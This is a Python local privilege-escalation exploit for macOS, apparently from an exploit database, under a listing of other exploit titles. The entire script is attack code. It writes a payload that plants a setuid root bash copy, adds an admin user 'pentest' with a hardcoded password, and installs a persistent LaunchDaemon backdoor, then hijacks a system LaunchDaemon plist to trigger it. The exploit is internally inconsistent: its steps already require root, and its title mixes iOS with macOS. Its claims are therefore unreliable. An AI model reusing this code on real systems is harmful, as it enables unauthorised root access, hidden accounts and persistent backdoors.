2825165fed
7 changes to exploits/shellcodes/ghdb macOS LaunchDaemon iOS 17.2 - Privilege Escalation ABB Cylon Aspect 3.08.04 DeploySource - Remote Code Execution (RCE) Apache Tomcat 10.1.39 - Denial of Service (DoS) Grandstream GSD3710 1.0.11.13 - Stack Overflow CloudClassroom PHP Project 1.0 - SQL Injection Microsoft Windows Server 2025 JScript Engine - Remote Code Execution (RCE)
100 lines
No EOL
3.4 KiB
Python
Executable file
100 lines
No EOL
3.4 KiB
Python
Executable file
#!/usr/bin/env python3
|
|
# Exploit Title: macOS LaunchDaemon iOS 17.2 - Privilege Escalation
|
|
# Author: Mohammed Idrees Banyamer (@banyamer_security)
|
|
# GitHub: https://github.com/mbanyamer
|
|
# Date: 2025-05-31
|
|
# Tested on: macOS Sonoma (14.x ARM64 / x86_64)
|
|
# CVE: CVE-2025-24085
|
|
# Type: Local Privilege Escalation
|
|
# Platform: macOS
|
|
# Author Country: Jordan
|
|
# Description:
|
|
# This local privilege escalation exploit leverages a vulnerable macOS LaunchDaemon plist configuration to execute
|
|
# arbitrary commands with root privileges. The exploit creates a root payload script that adds a root shell binary,
|
|
# creates an admin user, and installs a persistent LaunchDaemon backdoor for root access. It hijacks the
|
|
# com.apple.securemonitor LaunchDaemon plist to trigger the payload, allowing unauthorized escalation to root
|
|
# on macOS Sonoma systems.
|
|
|
|
import os
|
|
import plistlib
|
|
import time
|
|
from pathlib import Path
|
|
|
|
LAUNCHD_PLIST = "/Library/LaunchDaemons/com.apple.securemonitor.plist"
|
|
PAYLOAD_SCRIPT = "/tmp/.macroot_payload.sh"
|
|
|
|
def create_payload():
|
|
print("[+] Creating root payload script...")
|
|
payload = """#!/bin/bash
|
|
# Root shell
|
|
cp /bin/bash /tmp/.rootbash
|
|
chmod +s /tmp/.rootbash
|
|
chown root:wheel /tmp/.rootbash
|
|
|
|
# Add admin user
|
|
sysadminctl -addUser pentest -password macOS123! -admin
|
|
|
|
# Log file
|
|
echo "[+] Root backdoor triggered at $(date)" >> /tmp/.rootlog
|
|
|
|
# Persistent backdoor
|
|
cat <<EOF > /Library/LaunchDaemons/com.apple.backdoor.plist
|
|
<?xml version="1.0" encoding="UTF-8"?>
|
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
|
|
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
|
<plist version="1.0">
|
|
<dict>
|
|
<key>Label</key><string>com.apple.backdoor</string>
|
|
<key>ProgramArguments</key><array><string>/tmp/.rootbash</string></array>
|
|
<key>RunAtLoad</key><true/>
|
|
</dict>
|
|
</plist>
|
|
EOF
|
|
chmod 644 /Library/LaunchDaemons/com.apple.backdoor.plist
|
|
chown root:wheel /Library/LaunchDaemons/com.apple.backdoor.plist
|
|
"""
|
|
with open(PAYLOAD_SCRIPT, "w") as f:
|
|
f.write(payload)
|
|
os.chmod(PAYLOAD_SCRIPT, 0o755)
|
|
|
|
def hijack_launchdaemon():
|
|
print("[+] Hijacking LaunchDaemon plist...")
|
|
if not Path(LAUNCHD_PLIST).exists():
|
|
# create a fake one
|
|
print("[*] Creating fake LaunchDaemon plist for exploitation...")
|
|
plist_data = {
|
|
'Label': 'com.apple.securemonitor',
|
|
'ProgramArguments': [PAYLOAD_SCRIPT],
|
|
'RunAtLoad': True,
|
|
}
|
|
with open(LAUNCHD_PLIST, "wb") as f:
|
|
plistlib.dump(plist_data, f)
|
|
else:
|
|
# hijack existing one
|
|
with open(LAUNCHD_PLIST, 'rb') as f:
|
|
plist = plistlib.load(f)
|
|
plist['ProgramArguments'] = [PAYLOAD_SCRIPT]
|
|
plist['RunAtLoad'] = True
|
|
with open(LAUNCHD_PLIST, 'wb') as f:
|
|
plistlib.dump(plist, f)
|
|
|
|
os.system(f"chmod 644 {LAUNCHD_PLIST}")
|
|
os.system(f"chown root:wheel {LAUNCHD_PLIST}")
|
|
|
|
def trigger_payload():
|
|
print("[+] Triggering LaunchDaemon manually...")
|
|
os.system(f"sudo launchctl load -w {LAUNCHD_PLIST}")
|
|
print("[+] Done. You can now execute /tmp/.rootbash -p for root shell")
|
|
|
|
def main():
|
|
if os.geteuid() == 0:
|
|
print("[!] You are already root. No need to exploit.")
|
|
return
|
|
create_payload()
|
|
hijack_launchdaemon()
|
|
print("[+] Exploit completed. Reboot or run manually:")
|
|
print(f" sudo launchctl load -w {LAUNCHD_PLIST}")
|
|
print(" Then run: /tmp/.rootbash -p")
|
|
|
|
if __name__ == "__main__":
|
|
main() |